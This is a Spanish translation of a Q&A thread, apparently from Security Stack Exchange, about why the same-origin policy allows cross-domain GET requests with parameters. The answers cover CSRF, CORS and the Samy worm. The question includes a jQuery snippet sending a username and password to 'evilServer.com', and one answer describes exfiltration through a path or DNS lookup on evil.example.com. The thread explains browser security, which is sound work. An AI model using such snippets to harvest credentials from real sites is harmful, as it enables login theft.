¿Por qué no bloquea las mismas políticas de origen las solicitudes que contienen argumentos?

Question

¿Por qué no bloquea las mismas políticas de origen las solicitudes que contienen argumentos?

#1 de bobince (13 votos)
#2 de rook (7 votos)
#3 de Erlend (2 votos)

6

Por lo que entiendo, la misma política de origen evita que los scripts en una página web hablen con servidores fuera del dominio actual (usando post, xmlhttprequest, etc.). Supuse que las solicitudes de obtención (con argumentos) entre dominios también estarían prohibidas. Eso fue hasta que comencé a leer sobre el uso de YQL para evitar algunas restricciones de la misma política de origen. Todos los ejemplos de código utilizan una solicitud de obtención de ajax con parámetros.

 $.ajax({
      type: "GET",
      url: 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent(webServiceQuery),

Así que digamos que un atacante logra inyectar un javascript malvado en una página web que cosecha inicios de sesión. Algo como:

$.ajax({
  type: "GET",
  url: 'http://evilServer.com?username=PresidentSkroob&password=12345

El servidor receptor podría registrar cada solicitud que se presente. ¿Por qué se permite esto? Entiendo por qué querría permitir solicitudes de obtención sin datos (por ejemplo, importar jQuery), pero no veo una razón para permitir que las cadenas de consulta se pasen de dominio cruzado. ¿Hay alguna razón legítima por la que la mayoría de los navegadores lo permiten?

xss same-origin-policy

pregunta CountMurphy 18.06.2012 - 22:42

fuente

3 respuestas

7

La Política del mismo origen impide que los scripts lean contenido desde una ubicación donde el script no se origina. desde. Los ataques CSRF confían en el hecho de que puede transmitir solicitudes a otro dominio, y leer la respuesta no importa. Muchas técnicas de prevención de CSRF aprovechan el hecho de que el atacante no puede leer la página antes de realizar la solicitud . . Cuando carga una página web, muchas solicitudes a muchos dominios se activan para cargar contenido como imágenes, css e incluso javascript. Bloquear las solicitudes a otro dominio rompería una funcionalidad importante.

XSS permite que un atacante ejecute JavaScript arbitrario que se origina en un sitio web de destino. El samy worm usó esta propiedad de XSS para leer el token CSRF y forjar las solicitudes.

Con la llegada de "HTML 5" y CORS, puede crear un solicite de forma arbitraria un xhr y utilícelo para explotar las vulnerabilidades de CSRF . El XHR activará la solicitud, sin embargo, si los encabezados de respuesta HTTP CORS no están presentes, el XHR no podrá leer la respuesta ... Sin embargo, para que el navegador vea si estos encabezados de respuesta http Están presentes, primero debe hacer la solicitud. Este comportamiento es muy útil para crear vulnerabilidades CSRF, como ataques de carga de archivos entre sitios que normalmente no serían posibles.

respondido por el rook 19.06.2012 - 00:33

fuente

2

Todo es parte del soporte de solicitudes ajax entre dominios. Puedes hacer un GET, pero los encabezados x-access-control- * determinan si el cliente puede leer la respuesta o no.

Si esto no fuera posible, un atacante podría lograr lo mismo haciendo los envíos de formularios con el método Get as, o configurando las etiquetas iframes / script / img con atributos src que apuntan a la misma URL GET. Así que esto realmente no cambia nada con respecto a SOP a menos que se usen los encabezados x-access-control- *.

respondido por el Erlend 19.06.2012 - 16:26

fuente

Lea otras preguntas en las etiquetas xss same-origin-policy

¿Hay algún error de seguridad con UTF-8? codificación HTML para proteger contra XSS

score 13 · Accepted Answer

No veo una razón para permitir que las cadenas de consulta se pasen de dominio cruzado. ¿Hay alguna razón legítima por la que la mayoría de los navegadores lo permiten?

No hay nada especial en las cadenas de consulta. También podría exfiltrar la información en una parte de la ruta, evil.example.com/PresidentSkroob/12345 ... o incluso el nombre de dominio. por ejemplo, imagine que configura la dirección en PresidentSkroob.12345.evil.example.com ; Si ejecuta el DNS para evil.example.com , puede registrar fácilmente las búsquedas.

Según XMLHttpRequest nivel 2, los navegadores permiten que se envíen GET de origen cruzado sin verificación previa, pero no permiten que se lean los resultados de la respuesta a menos que el dominio remoto se active. No hay una vulnerabilidad adicional aquí porque puede ya causa que se envíe un GET a una URL arbitraria (incluida la cadena de consulta, por lo que vale) a través de varias interfaces más básicas.

Por ejemplo, siempre ha podido crear un elemento <img> con su src establecido en una dirección en un dominio remoto; quitar esa habilidad de dominio cruzado rompería gran parte de la web existente.